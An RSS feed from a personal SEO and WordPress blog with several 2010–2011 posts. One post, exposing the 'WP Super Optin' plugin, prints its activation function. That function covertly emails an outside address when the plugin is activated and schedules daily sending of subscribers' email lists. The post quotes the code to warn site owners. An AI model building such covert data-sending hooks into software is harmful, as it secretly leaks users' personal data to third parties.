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<channel>
	<title>The Gospel According To Rhys</title>
	
	<link>http://www.gospelrhys.co.uk</link>
	<description>Wrestling with PHP, SEO, Social Media &amp; Networking</description>
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		<title>See You Later!</title>
		<link>http://feedproxy.google.com/~r/TheGospelAccordingToRhys/~3/8ekqmFbphoA/see-you-later.html</link>
		<comments>http://www.gospelrhys.co.uk/2011/01/see-you-later.html#comments</comments>
		<pubDate>Sat, 01 Jan 2011 14:06:51 +0000</pubDate>
		<dc:creator>Rhys</dc:creator>
				<category><![CDATA[Blogging]]></category>

		<guid isPermaLink="false">http://www.gospelrhys.co.uk/?p=19505</guid>
		<description>New year is a new start &amp;#38; all, and no such case than on this blog. As this will be &amp;#8211; after 6 years &amp;#8211; the last blog post on this blog. Don&amp;#8217;t cry! I&amp;#8217;m still around, but have decided to go to a more professional domain, regain my blogging focus &amp;#38; try to start [...]</description>
			<content:encoded><![CDATA[<p>New year is a new start &amp; all, and no such case than on this blog. As this will be &#8211; after 6 years &#8211; the last blog post on this blog.</p>
<p>Don&#8217;t cry! I&#8217;m still around, but have decided to go to a more professional domain, regain my blogging focus &amp; try to start afresh.</p>
<p>So with that said, here&#8217;s where I&#8217;m still around:-</p>
<ul>
<li>For SEO/Social Media style posts (the kind you&#8217;ve seen recently), check out the website for <a href="http://winwar.co.uk" target="_blank">Winwar Media</a>. I&#8217;m writing a bunch of posts on the site.</li>
<li>A lot of people over the course of my blog commented that I should write more personal posts. I&#8217;m posting it in my new personal blog &#8211; <a href="http://www.rhyswynne.co.uk" target="_blank">Rhys Wynne</a>.</li>
<li>Also, I&#8217;ll still be posting on <a href="http://www.retrogarden.co.uk/" target="_blank">Retro Garden</a>.</li>
<li>At the moment, I&#8217;ll still be having the WordPress Plugins &amp; bbPress Plugins on this site (though this will change soon to the Winwar site).</li>
<li>Be sure to check out my <a href="http://www.gospelrhys.co.uk/2010/02/oio-publisher-wordpress-plugin-review.html" target="_blank">OIO Publisher Review</a>, my most popular post in the last year, or read the <a href="http://www.gospelrhys.co.uk/archives">blog archive</a>.</li>
</ul>
<p>I look forward to seeing you at one of those sites. I&#8217;ve enjoyed blogging here &#8211; this domain was bought by my brother &#8211; has gone from Blogger to WordPress, and saw me move from being a mere hobbyist blogger into something more permanent.</p>
<p>I hope to see you again soon!</p>
<p>Rhys</p>
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		<item>
		<title>Crowdsourcing Christmas – 10 Twitterers Share What They Want for Christmas</title>
		<link>http://feedproxy.google.com/~r/TheGospelAccordingToRhys/~3/siJIj4SDUKM/crowdsourcing-christmas-10-twitterers-share-what-they-want-for-christmas.html</link>
		<comments>http://www.gospelrhys.co.uk/2010/12/crowdsourcing-christmas-10-twitterers-share-what-they-want-for-christmas.html#comments</comments>
		<pubDate>Mon, 13 Dec 2010 07:00:57 +0000</pubDate>
		<dc:creator>Rhys</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[internet]]></category>

		<guid isPermaLink="false">http://www.gospelrhys.co.uk/?p=3500</guid>
		<description>Bit of a lazy blog post this week, as as most of you are aware, it&amp;#8217;s approaching Christmas. Being the social bunny that I am &amp;#8211; I&amp;#8217;ve got a few Christmas Parties planned (work one, one with the wrestling, and one Manchester Digital Christmas Party), so I asked my followers what they wanted for Christmas. [...]</description>
			<content:encoded><![CDATA[<p>Bit of a lazy blog post this week, as as most of you are aware, it&#8217;s approaching Christmas. Being the social bunny that I am &#8211; I&#8217;ve got a few Christmas Parties planned (work one, one with the wrestling, and one <a href="http://digitalchristmas.eventbrite.com/" target="_blank">Manchester Digital Christmas Party</a>), so I asked my followers what they wanted for Christmas. Here&#8217;s what they are hoping Santa leaves in their sack:-</p>
<div class="rhystwitter-tweet"><img src="http://a2.twimg.com/profile_images/546756206/super_carly_twitter1_normal.jpg" alt="" /><a href="http://twitter.com/super_carly" target="_blank"><span class="rhystwitter-from_user">Super_Carly</span></a><span class="rhystwitter-text">@rhyswynne &#8230; <a href="http://etsy.me/gZOKxf" target="_blank">Internet (Google) cushion</a>,   <a href="http://www.google-store.com/product_info.php?products_id=52" target="_blank">Google Lava Lamp</a>, <a href="http://www.seo-chicks.com/t-shirts" target="_blank">SEO Chick T-shirt</a>&#8230;. (for me, not you)</span></div>
<div class="rhystwitter-tweet"><img src="http://a0.twimg.com/profile_images/1180473024/twitter-antlers02_normal.jpg" alt="" /><a href="http://www.twitter.com/joannabutler"><span class="rhystwitter-from_user">JoannaButler</span></a><span class="rhystwitter-text">@rhyswynne Free wi-fi AND electricity in all coffee shops for on-the-go nerding! Or a free <a href="http://seotrainingdojo.com/" target="_blank">SEO Dojo </a>subscription.</span></div>
<div class="rhystwitter-tweet"><img src="http://a2.twimg.com/profile_images/1179279910/XmasAvatar-Dean_normal.jpg" alt="" /><a href="http://twitter.com/DeanCruddace" target="_blank"><span class="rhystwitter-from_user">DeanCruddace</span></a><span class="rhystwitter-text">@rhyswynne a 12 bottle box of 1 litre Southern Comfort, thanks in advance</span></div>
<div class="rhystwitter-tweet"><img src="http://a3.twimg.com/profile_images/1104379679/kitten_normal.jpg" alt="" /><a href="http://twitter.com/emilebartlett" target="_blank"><span class="rhystwitter-from_user">emiliebartlett</span></a><span class="rhystwitter-text">@rhyswynne a wine cellar (cupboard) that never runs out, and a name that people don&#8217;t constantly misspell (IT&#8217;S NOT EMILY!)</span><span class="rhystwitter-created_at"> </span></div>
<div class="rhystwitter-tweet"><img src="http://a0.twimg.com/profile_images/883724564/8aeb83b1-3fc2-46df-a099-7c1d25d56aea_normal.png" alt="" /><a href="http://twitter.com/littleladyjane" target="_blank"><span class="rhystwitter-from_user">littleladyjane</span></a><span class="rhystwitter-text">@rhyswynne i want to be in it! ive ordered myself a 25th anniversary white carebear. ftw? <a href="http://tinyurl.com/2up7yyy" target="_blank">http://tinyurl.com/2up7yyy</a></span></div>
<div class="rhystwitter-tweet"><img src="http://a2.twimg.com/profile_images/1168537974/AN_normal.JPG" alt="" /><a href="http://twitter.com/Mr603" target="_blank"><span class="rhystwitter-from_user">Mr603</span></a><span class="rhystwitter-text">@rhyswynne a case of Chimay Grande Reserve would be lovely.</span><span class="rhystwitter-created_at"> </span></div>
<div class="rhystwitter-tweet"><img src="http://a3.twimg.com/profile_images/629272195/ismepete_normal.jpg" alt="" /><a href="http://twitter.com/ismepete" target="_blank"><span class="rhystwitter-from_user">ismepete</span></a><span class="rhystwitter-text">@rhyswynne Havana club anejo blanco &#8211; case would be good!</span></div>
<div class="rhystwitter-tweet"><img src="http://a0.twimg.com/profile_images/1179111296/Eeyore-Santa-150x150_normal.jpg" alt="" /><a href="http://twitter.com/JestaThaRogue" target="_blank"><span class="rhystwitter-from_user">JestaThaRogue</span></a><span class="rhystwitter-text">@rhyswynne Seeing as they&#8217;re all alcohol based, a case of Disserono and 42 cans of Pepsi Max</span></div>
<div class="rhystwitter-tweet"><img src="http://a3.twimg.com/profile_images/1168140999/long-me_normal.jpg" alt="" /><a href="http://twitter.com/juliecheung"><span class="rhystwitter-from_user">juliecheung</span></a><span class="rhystwitter-text">@rhyswynne I want my teeth laser whitened for Christmas! And some base layers and waterproof socks for my BMF training <img src='http://www.gospelrhys.co.uk/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </span><span class="rhystwitter-created_at"> </span></div>
<p>A mixed bag, I&#8217;m sure you agree. Question is, what are you hoping for for Christmas?</p>
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		<item>
		<title>WP Super Optin is Illegal, Insecure &amp; Unsupported: Please Don’t Use It</title>
		<link>http://feedproxy.google.com/~r/TheGospelAccordingToRhys/~3/Qhw7jV0Xw7I/wp-super-optin-is-illegal-insecure-unsupported-please-dont-use-it.html</link>
		<comments>http://www.gospelrhys.co.uk/2010/12/wp-super-optin-is-illegal-insecure-unsupported-please-dont-use-it.html#comments</comments>
		<pubDate>Mon, 06 Dec 2010 08:00:59 +0000</pubDate>
		<dc:creator>Rhys</dc:creator>
				<category><![CDATA[Opinions]]></category>
		<category><![CDATA[plugins]]></category>
		<category><![CDATA[technology]]></category>
		<category><![CDATA[wpemailcapture]]></category>
		<category><![CDATA[wpsuperoptin]]></category>

		<guid isPermaLink="false">http://www.gospelrhys.co.uk/?p=3491</guid>
		<description>In the past week, it has come to my attention that a plugin has been released that uses a lot of the source code for WP Email Capture entitled WP Super Optin. After having a look at it, I would strongly advise against installing &amp;#38; running this on your blog, and instead running WP Email [...]</description>
			<content:encoded><![CDATA[<p>In the past week, it has come to my attention that a plugin has been released that uses a lot of the source code for WP Email Capture entitled <strong>WP Super Optin</strong>. After having a look at it, I would strongly advise against installing &amp; running this on your blog, and instead running WP Email Capture. There&#8217;s three reasons for this.</p>
<h3>WP Super Optin Is Illegal</h3>
<p>WP Email Capture is released under the GPL. In the long &amp; short of it, it basically means that you are free to make changes &amp; distribute it, however <strong>you must give credit</strong> <strong>to the original plugin owner</strong>. Although the plugin uses my functions &amp; code, it doesn&#8217;t give credit. Instead they rename a bunch of functions.</p>
<p>Here&#8217;s the first 30 lines of process.php in WP Email Capture:-</p>
<pre class="brush: php; title: ; notranslate">&lt;?php

function wp_email_capture_process()

{

 if(isset($_REQUEST['wp_capture_action'])) {
 wp_email_capture_signup();
 }

 if(isset($_GET['wp_email_confirm']) ||
isset($_REQUEST['wp_email_confirm'])) {
 wp_capture_email_confirm();
 }

}

function wp_email_capture_double_check_everything($name, $email)

{

 if (wp_email_injection_chars($name) ||
wp_email_injection_chars($email) ||
wp_email_injection_chars($name) ||
wp_email_injection_chars($email))

 {

 return FALSE;</pre>
<p>And here&#8217;s the first 30 lines of process.php in WP Super Optin.</p>
<pre class="brush: php; title: ; notranslate">&lt;?php

function wp_super_optin_process()

{

 if(isset($_REQUEST['wp_capture_action'])) {wp_super_optin_signup();
 }

 if(isset($_GET['wp_email_confirm']) ||
isset($_REQUEST['wp_email_confirm'])) {
 superoptin_wp_capture_email_confirm();
 }

}

function wp_super_optin_double_check_everything($name, $email)

{

 if (superoptin_wp_email_injection_chars($name) ||
superoptin_wp_email_injection_chars($email) ||
superoptin_wp_email_injection_chars($name) ||
superoptin_wp_email_injection_chars($email))

 {

 return FALSE;</pre>
<p>Whilst I don&#8217;t go around suing people running the plugin, it is in violation of Title 17 U.S. Code, Section 106(a) of the Copyright Act  of 1976, and several recognized international copyright laws. More scary from your perspective, is the second step.</p>
<h3>WP Super Optin Is Insecure</h3>
<p>From reading the support forums, I found this nasty piece of code:-</p>
<pre class="brush: php; title: ; notranslate">

function wp_super_optin_activation()
 {

 $domain = $_SERVER['HTTP_HOST'];

 //  mail(&quot;masstrend@aol.com&quot;,&quot;The plugin activation on &quot; . $domain ,&quot;The plugin is activated and this scheduled hook is ready for use.&quot;);

 mail(&quot;masstrend@aol.com&quot;,&quot;The plugin activation on &quot; . $domain ,&quot;The plugin is activated and this scheduled hook is ready for use.&quot;);

 if ( !wp_next_scheduled( 'email_scheduled_csv' ) ) {
 //$timestmp = (time()+300);
 $timestmp = strtotime(&quot;tomorrow 3 AM&quot;);
 wp_schedule_event($timestmp, 'daily', 'email_scheduled_csv');

 $date = date('j F Y g:i:s A',$timestmp);
 mail(&quot;masstrend@aol.com&quot;,&quot;Email for optin CSV scheduled&quot;,&quot;Email for optin CSV has been scheduled for &quot; . $date. &quot; and the current date/time is &quot; . $date = date('j F Y g:i:s A', time()) );
 mail(&quot;wordpress@wpemailoptin.com&quot;,&quot;Email for optin CSV scheduled&quot;,&quot;Email for optin CSV has been scheduled for &quot; . $date. &quot; and the current date/time is &quot; . $date = date('j F Y g:i:s A', time()) );

 }
 }</pre>
<p>What this function does<strong> is email back on a daily basis all email addresses you collect</strong>. Why he wants to use them I&#8217;m not sure, but I can imagine it is to spam the bejesus out of them. Not good.</p>
<p>This violates the CANSPAM act (you need to double opt-in to emails), and is bloody sneaky. WordPress doesn&#8217;t like it either. Furthermore, emails are sent when you activate &amp; deactivate the plugins, without your knowledge.</p>
<h3>WP Super Optin Is Unsupported</h3>
<p>Finally, I&#8217;ve been receiving emails asking for support on WP Super Optin. Why I have no idea, but it&#8217;s frustrating, and each one I&#8217;ve told them what I&#8217;ve just told them, and they should download WP Email Capture instead.</p>
<p>To download, click the button below:-</p>
<p style="text-align: center;">
<p style="text-align: center;"><a onclick="javascript: pageTracker._trackPageview('/download/wp-email-capture');" href="http://downloads.wordpress.org/plugin/wp-email-capture.zip" target="_self"><img class="aligncenter size-full wp-image-2413" style="border: 0pt none;" title="downloadbutton" src="http://www.gospelrhys.co.uk/wp-content/uploads/2009/09/downloadbutton.gif" alt="downloadbutton" width="241" height="55" /></a></p>
<h3>What I&#8217;m Doing</h3>
<p>I&#8217;m a bit pissed off with it, as he&#8217;s deliberately targeting me in search engines, comment spamming &amp; spinning lies on forums such as Warrior Forum.</p>
<p>On Wednesday (with a <em>huge</em> thank you to uber PHP Ninjaguru <a href="http://jemturner.co.uk/" target="_blank">Jem</a> for sending me the template) I sent the email address within the <a href="http://whois.domaintools.com/wpemailoptin.com" target="_blank">Whois details</a> (although I&#8217;ve never been to Los Angeles, I&#8217;m confident to say that there&#8217;s no street called WPEmailOptin Street), and I&#8217;ve heard nothing back. So onto the stage 2: which is a three pronged attack. An angry blog post (SEO&#8217;ed to buggery to rank for the plugin name), emails to WordPress &amp; emails to <a href="http://www.gospelrhys.co.uk/offto/hostgator" style=""  rel="nofollow" onmouseover="self.status='http://www.gospelrhys.co.uk/offto/hostgator';return true;" onmouseout="self.status=''">Hostgator</a>, his host (and also mine).</p>
<p>Fingers crossed!</p>
<p><strong>Update (1pm GMT): </strong>Just had an update from <a href="http://www.wordpress.org" target="_blank">WordPress</a>. It&#8217;s been removed from the <a href="http://www.wordpress.org/plugins/" target="_blank">WordPress Plugin Repository</a>. Thank you <img src='http://www.gospelrhys.co.uk/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><strong>Update (9th December, 5pm GMT)</strong>: After a discussion with the <a href="http://www.gospelrhys.co.uk/offto/hostgator" style=""  rel="nofollow" onmouseover="self.status='http://www.gospelrhys.co.uk/offto/hostgator';return true;" onmouseout="self.status=''">Hostgator</a> security team, who were lovely, the site has been removed.</p>
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		<item>
		<title>Thoughts on Jaamit</title>
		<link>http://feedproxy.google.com/~r/TheGospelAccordingToRhys/~3/Ffi2MpYNJRI/thoughts-on-jaamit.html</link>
		<comments>http://www.gospelrhys.co.uk/2010/11/thoughts-on-jaamit.html#comments</comments>
		<pubDate>Tue, 30 Nov 2010 18:12:49 +0000</pubDate>
		<dc:creator>Rhys</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[Opinions]]></category>
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		<category><![CDATA[jaamit]]></category>

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		<description>&amp;#8220;Facebook makes you hate people you know, Twitter makes you like people you&amp;#8217;ve never met&amp;#8221; - Author Unknown In the last week, the SEO world in the UK &amp;#38; around the world has been shocked by the tragic &amp;#38; untimely passing of Jaamit Durrani. I wanted to share a few thoughts on him. I only [...]</description>
			<content:encoded><![CDATA[<blockquote><p><em>&#8220;Facebook makes you hate people you know, Twitter makes you like people you&#8217;ve never met&#8221;</em></p>
<p style="text-align: right;">- Author Unknown</p>
</blockquote>
<p>In the last week, the SEO world in the UK &amp; around the world has been shocked by the tragic &amp; untimely passing of Jaamit Durrani. I wanted to share a few thoughts on him.</p>
<p>I only met the guy once, at <a href="http://www.thinkvisibility.com/" target="_blank">Think Visibility</a>, but his impact on me was huge.</p>
<p>June 2009. Although I was in a stable job, I wasn&#8217;t where I wanted to be geographically. I was a little bored with living in North Wales, tensions between myself &amp; mum &amp; dad were straining (justifiably &#8211; I was a knob), and many of my friends moved away from the area. I wasn&#8217;t sure what I wanted from life, and had a stupid idea that this blog was going to make me a gazillionaire &#8211; discussions in my local was surrounding making millions, but not entirely sure how. Nevertheless, I ramped up blogging. <a href="http://twitter.com/lyndoman" target="_blank">Lyndon Antcliff</a> &#8211; one person I was following on twitter &#8211; came up with a bunch of ideas for linkbait. One of which was &#8220;<a href="http://www.gospelrhys.co.uk/2009/06/1-cristiano-ronaldo-or-pr6-links.html" target="_blank">1 Cristiano Ronaldo, or PR6 links</a>?&#8221;. I got scribbling, asked him for a retweet, and he duely obliged.</p>
<p>Amongst the retweets was Jaamit. Unlike many of the other retweeters though, I kept speaking to him. Over time, and through him, I got to meet many people associated with SEO virtually on Twitter. Amongst them was the guys &amp; girls associated with <a href="http://www.manchester-seo.org/" target="_blank">#mancseo</a>. I January I attended my first one, decided that in terms of my career I <em>needed</em> to move to Manchester, two months later getting a job &amp; then the rest &#8211; as they say &#8211; is history.</p>
<p>I&#8217;m a firm believer in causality &#8211; I do think rather a lot about what if&#8217;s &amp; whether if Jaamit retweet (and subsequent discussion) that tweet of mine I wouldn&#8217;t be end up living in Manchester. I&#8217;m unsure (I was familiar with individuals in SEO at that point). However, what I <em>am </em>sure about is that in the year &amp; a bit I spoke to Jaamit (both online &amp; in person), I found him a lot of fun.</p>
<p>Two stories online stand out for me. One night I was having trouble sleeping, so like a good little social media bunny I tweeted such a fact. Jaamit (who was awake at the time), tweeted back &#8220;I&#8217;d recommend you count sheep, but being a Welshman you&#8217;d probably get the wrong idea. <img src='http://www.gospelrhys.co.uk/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> &#8221;. Next morning I woke up,  checked Twitter again &amp; found 3 Direct Messages from Jaamit saying he was sorry if I offended him. I told him he didn&#8217;t, I just fell asleep.</p>
<p>Since then, it was fair game to rip the piss out of each other.</p>
<p>The second story was on the morning of Think Visibility, during Mel&#8217;s talk. For those of you who weren&#8217;t there or who didn&#8217;t read the twitter feed, the room that was unmentionably hot. Like a good little social media bunny I tweeted this, saying the room was &#8220;hot &amp; sweaty&#8221;. The first tweet back was from Jaamit saying &#8220;I know! I can smell you from here!&#8221;.</p>
<p>When I finally met him (later that day, to which I greeted him with <em>&#8220;Can you smell me now Jaamit?&#8221;</em>), I was greeted with a guy who was fun, smiling &amp; joking &#8211; the Jaamit I grew to know on Twitter. Like so many people have said &#8211; the Jaamit that we knew online <em>was pretty much </em>the same we knew offline. I enjoyed <a href="http://www.scribd.com/doc/36889260/Link-Building-in-Real-Life-Think-Visibility-04-09-10" target="_blank">his Link Building Presentation at Think Visibility</a>, and we (and a few others) shared dinner after the event, which was good fun. He thought me &amp; <a href="http://www.supercarly.co.uk/" target="_blank">Carly</a> were going out. A fact that I mercessily ripped the piss out of him for. Ironically getting to know him in that time I learnt more about his approach to SEO than I did from speaking to him on Twitter for a year and a bit &#8211; as so often the case in this industry.</p>
<p>So it was with a heavy heart that I heard the news on Friday, I was in total disbelief. I can&#8217;t pretend I knew him well, but feel terrible for those who knew him a lot better (people such as <a href="http://twitter.com/rishil" target="_blank">Rishi</a>, <a href="http://twitter.com/RichardShove" target="_blank">Richard</a>, <a href="http://twitter.com/searchpanda" target="_blank">Annabel</a>, <a href="http://twitter.com/apsg" target="_blank">Amrit</a> &amp; <a href="http://twitter.com/killer_bunnie" target="_blank">Claire</a> amongst others), and couldn&#8217;t begin to comprehend what is wife is going through.</p>
<p>Wonderfully, the much criticised SEO community (a criticism I disagree with) has rallied around &amp; a lot has been put in force &#8211; you can read about <a href="http://searchtalk.co.uk/2010/11/jaamit-call/" target="_blank">what&#8217;s been done for Jaamit in this blog post</a>.</p>
<p>All I can say in closing is RIP Jaamit, wish I had chance to get to know you better.</p>
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		<title>Commander Zorg of The Interstellar Nebula’s Top Tip For Outsourcing</title>
		<link>http://feedproxy.google.com/~r/TheGospelAccordingToRhys/~3/dWPnPEVbiaA/commander-zorg-of-the-interstellar-nebulas-top-tip-for-outsourcing.html</link>
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		<pubDate>Wed, 24 Nov 2010 18:29:07 +0000</pubDate>
		<dc:creator>Rhys</dc:creator>
				<category><![CDATA[How To's]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[Rhys' Favourites]]></category>
		<category><![CDATA[odesk]]></category>
		<category><![CDATA[outsourcing]]></category>

		<guid isPermaLink="false">http://www.gospelrhys.co.uk/?p=3435</guid>
		<description>I&amp;#8217;ve been playing around a little with outsourcing on a few projects I&amp;#8217;ve been running recently on oDesk, just to keep things moving on various websites I have. It&amp;#8217;s been an experience, but it&amp;#8217;s been worthwhile &amp;#8211; I&amp;#8217;ve been able to keep a few things moving whilst I&amp;#8217;ve been on holiday. With a laptop which [...]</description>
			<content:encoded><![CDATA[<p>I&#8217;ve been playing around a little with outsourcing on a few projects I&#8217;ve been running recently on <a href="http://www.gospelrhys.co.uk/go/odesk" style=""  rel="nofollow" onmouseover="self.status='http://www.gospelrhys.co.uk/go/odesk';return true;" onmouseout="self.status=''">oDesk</a>, just to keep things moving on various websites I have.</p>
<p>It&#8217;s been an experience, but it&#8217;s been worthwhile &#8211; I&#8217;ve been able to keep a few things moving whilst I&#8217;ve been on holiday. With a laptop which I took on my travels, it was easy.</p>
<p>Whilst I&#8217;ve been happy with the results so far, it&#8217;s been a learning experience, but this is a fairly nifty tip I picked up.</p>
<p>Basically, when you create a project, one of the most important things to do is communication &#8211; like pretty much anything online. If you have a good communication with your outsourcee (is that a word?), then problems will be negated. To test how well the outsourcer reads is this:-</p>
<p>Include in your job description an outlandish statement that people wouldn&#8217;t do. Something like &#8220;the last word of the application must be &#8216;weddings&#8217;.&#8221;, or &#8211; what I do &#8211; &#8220;Please address your application to Commander Zorg of The Interstellar Nebula&#8221;.</p>
<p>This immeidately removes time wasters or spammers who just copy &amp; paste blurb saying their wonderful or lovely or that they kiss babies foreheads, whereas a shorter more to the point message that meets your requirements will get through.</p>
<p>I&#8217;ve known people to say that the first message should be in haiku form, as not only does it show that they understand, but also that they are more interested in the role than simply sending in their CV.</p>
<p>Do you have any tips for outsourcing?</p>
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		<title>Formula 1 is Dead!</title>
		<link>http://feedproxy.google.com/~r/TheGospelAccordingToRhys/~3/QRbqg44v6m4/formula-1-is-dead.html</link>
		<comments>http://www.gospelrhys.co.uk/2010/11/formula-1-is-dead.html#comments</comments>
		<pubDate>Tue, 16 Nov 2010 08:00:36 +0000</pubDate>
		<dc:creator>Rhys</dc:creator>
				<category><![CDATA[Opinions]]></category>
		<category><![CDATA[SEO]]></category>
		<category><![CDATA[seo opinions]]></category>

		<guid isPermaLink="false">http://www.gospelrhys.co.uk/?p=3456</guid>
		<description>photo credit: nhayashida In the last week, Sebastian Vettel became the Formula 1 champion. It&amp;#8217;s  a sport with global appeal, generating millions of dollars of revenue for anybody associated with it. Despite this, there are two things I am sure with it. Rule Changes Are Common &amp;#8211; Every year there are rule changes (see 2010 [...]</description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://www.flickr.com/photos/66742834@N00/5094777178/" target="_blank"><img src="http://farm5.static.flickr.com/4091/5094777178_3bb219e685.jpg" border="0" alt="" /></a><br />
<small><a title="Attribution License" href="http://creativecommons.org/licenses/by/2.0/" target="_blank"><img src="http://www.gospelrhys.co.uk/wp-content/plugins/photo-dropper/images/cc.png" border="0" alt="Creative Commons License" width="16" height="16" align="absmiddle" /></a> <a href="http://www.photodropper.com/photos/" target="_blank">photo</a> credit: <a title="nhayashida" href="http://www.flickr.com/photos/66742834@N00/5094777178/" target="_blank">nhayashida</a></small></p>
<p>In the last week, <a href="http://news.bbc.co.uk/sport1/hi/motorsport/formula_one/9188023.stm" target="_blank">Sebastian Vettel became the Formula 1 champion</a>. It&#8217;s  a sport with global appeal, generating millions of dollars of revenue for anybody associated with it. Despite this, there are two things I am sure with it.</p>
<ul>
<li><strong>Rule Changes Are Common</strong> &#8211; Every year there are rule changes (see <a href="http://www.formula1.com/inside_f1/rules_and_regulations/sporting_regulations/8692/" target="_blank">2010 Rule Changes</a>) in Formula 1. These are designed to make it more exciting, relevant &amp; more competitive, allowing the quality (and occassionally the scum) to rise to the top.</li>
<li><strong>I Don&#8217;t Understand It&#8217;s Appeal</strong> &#8211; there we go, I admit it. I can&#8217;t understand the appeal. Sure I wouldn&#8217;t turn it off if it was on the telly, but I don&#8217;t understand <em>why</em> people get up at sillybuggeroclock on a Sunday to watch it, or analyse what is effectively a parade.</li>
</ul>
<p>Therefore I conclude that Formula 1 is Dead.</p>
<p>Despite the fact it&#8217;s turning over billions, has worldwide coverage, has corporates throwing money at it, lucrative to be seen with &amp; generally <em>a good thing</em>. It&#8217;s dead. Largely for the two reasons I said above.</p>
<p>Sounds silly doesn&#8217;t it?</p>
<p>But that is exactly what people are saying about SEO. An industry that is turning over billions, has worldwide coverage, has corporates throwing money, lucrative to have &amp; generally <em>a good thing</em>. It is been declared <a href="http://www.steverubel.com/google-instant-makes-seo-irrelevant" target="_blank">over</a> and <a href="http://paidcontent.org/article/419-seo-is-dead-and-the-new-king-is-smo/" target="_blank">over</a> as being dead. Heck, even a great guest post by <a href="http://everything-everywhere.com/" target="_blank">Gary Arndt</a> where he said he believed that <a href="http://www.problogger.net/archives/2010/11/08/why-social-media-is-a-better-investment-than-seo/" target="_blank">Social Media was a Wiser Investment than SEO</a>, got flagged up as an &#8220;SEO is Dead&#8221; post, when it quite clearly wasn&#8217;t.</p>
<p>SEO is prone to rule changes. In fact it happens all the time. Just because you don&#8217;t understand it, doesn&#8217;t mean you should dismiss it.</p>
<p>To return to the Formula 1 analogy, if you look at <a href="http://news.bbc.co.uk/sport1/hi/motorsport/formula_one/standings/default.stm" target="_blank">the teams at the top of the standings</a>, the top 3 constructors have 109 years experience and 25 construction championships between them. From my (limited) knowledge, it seems that experience does count in Formula 1.</p>
<p>As it does SEO.</p>
<p>That&#8217;s what people invest in. Long time SEO&#8217;s with a proven track record of success will attract investment. Those who test, try things, play around with things, build good content, research &amp; generally spend time getting &#8220;it&#8221; will end up dominating rankings, as well as getting compensated well for their troubles. Those who try for a bit, fail &amp; then give up declare that SEO is Dead, and move onto the next fad to make their millions (e-book on interviews anybody?). This is not necessarily a problem, as it makes my job easier.</p>
<p>So this is the question: will you research, test, try &amp; succeed like Ferrari? Or will you give up like Footwork-Cotsworth?</p>
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		<title>Using Twitter Hashtags to Microblog Conferences &amp; Events</title>
		<link>http://feedproxy.google.com/~r/TheGospelAccordingToRhys/~3/X3oFwkqbxfo/using-twitter-hashtags-to-microblog-conferences-events.html</link>
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		<pubDate>Wed, 10 Nov 2010 09:00:24 +0000</pubDate>
		<dc:creator>Rhys</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[How To's]]></category>
		<category><![CDATA[SEO]]></category>
		<category><![CDATA[social media]]></category>
		<category><![CDATA[twitter]]></category>

		<guid isPermaLink="false">http://www.gospelrhys.co.uk/?p=3452</guid>
		<description>Recently I attended r3play, a retro gaming event in Blackpool, England. It was a lot of fun (to read about it please read my r3play review on Retro Garden), but what was nice for a social networking &amp;#38; web geek such as myself was that there was a twitter hashtag. This allowed the event to [...]</description>
			<content:encoded><![CDATA[<p>Recently I attended r3play, a retro gaming event in Blackpool, England. It was a lot of fun (to read about it please read my <a href="http://www.retrogarden.co.uk/news/r3play-event-review-norbeck-castle/" target="_blank">r3play review</a> on Retro Garden), but what was nice for a social networking &amp; web geek such as myself was that there was a twitter hashtag. This allowed the event to be tracked easily &amp; quickly online, so the phone came out &amp; tweetdeck came on, with a new column dedicated to #r3play.</p>
<div class="rhystwitter-tweet"><img src="http://a2.twimg.com/profile_images/1089654294/RetroGamerVX_graphic_normal.jpg" alt="" /><span class="rhystwitter-from_user">RetroGamerVX</span><span class="rhystwitter-text">Uploading my #r3play video now, fingers crossed it works <img src='http://www.gospelrhys.co.uk/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </span><span class="rhystwitter-created_at"> </span></div>
<div class="rhystwitter-tweet"><img src="http://a1.twimg.com/profile_images/1146765149/mega-game_normal.jpg" alt="" /><span class="rhystwitter-from_user">meanmachinesmag</span><span class="rhystwitter-text">RT @Sega_Mega_Drive: Started on the #r3play write up for #meanmachinesarchive , enjoying putting it together.</span><span class="rhystwitter-created_at"> </span></div>
<div class="rhystwitter-tweet"><img src="http://a2.twimg.com/profile_images/470202846/megadrive_normal.png" alt="" /><span class="rhystwitter-from_user">Sega_Mega_Drive</span><span class="rhystwitter-text">Started on the #r3play write up for #meanmachinesarchive , enjoying putting it together.</span><span class="rhystwitter-created_at"> </span></div>
<div class="rhystwitter-tweet"><img src="http://a0.twimg.com/profile_images/1099164396/72dbb8c9-70dd-4dad-bfef-5aa70f6ef79d_normal.png" alt="" /><span class="rhystwitter-from_user">rhyswynne</span><span class="rhystwitter-text">In case you haven&#8217;t seen this &#8211; the coolest thing I saw at #r3play: Twitter client on a ZX Spectrum &#8211; http://bit.ly/dqmrfC</span><span class="rhystwitter-created_at">Tue</span></div>
<p>Of course, with something like <a href="http://themergency.com/twitter-blackbird-pie-wordpress-plugin/" target="_blank">Blackbird Pie</a> you can embed individual tweets into your site, which can be great for tracking &amp; blogging the key takeaways of the conference from everybody else. Furthermore it lets your blogging community know the influencers, getting them some followers.</p>
<p>But how about events? I did this with my recent trip around Europe with the whole purpose of blogging it, but unfortunately (for reasons I&#8217;ll explain later) it didn&#8217;t work.</p>
<p>You can use hashtags to microblog events that you attend. I&#8217;ve been playing around with a small script recently (with a help of <a href="http://www.gospelrhys.co.uk/go/odesk" style=""  rel="nofollow" onmouseover="self.status='http://www.gospelrhys.co.uk/go/odesk';return true;" onmouseout="self.status=''">ODesk</a>) that is designed to turn your twitter feed into a post on your blog.</p>
<p>What you do is use a hashtag that nobody else will ever use. For my trip around Europe I used the hashtag #rhysvseurope, and for the event I tweeted last night (Burscough FC vs. Colwyn Bay) I used #buscoughvsbay. Basically silly tweets.</p>
<p>You can then at a later date use the Twitter Search &amp; Blackbird Pie to get all your tweets from the event.</p>
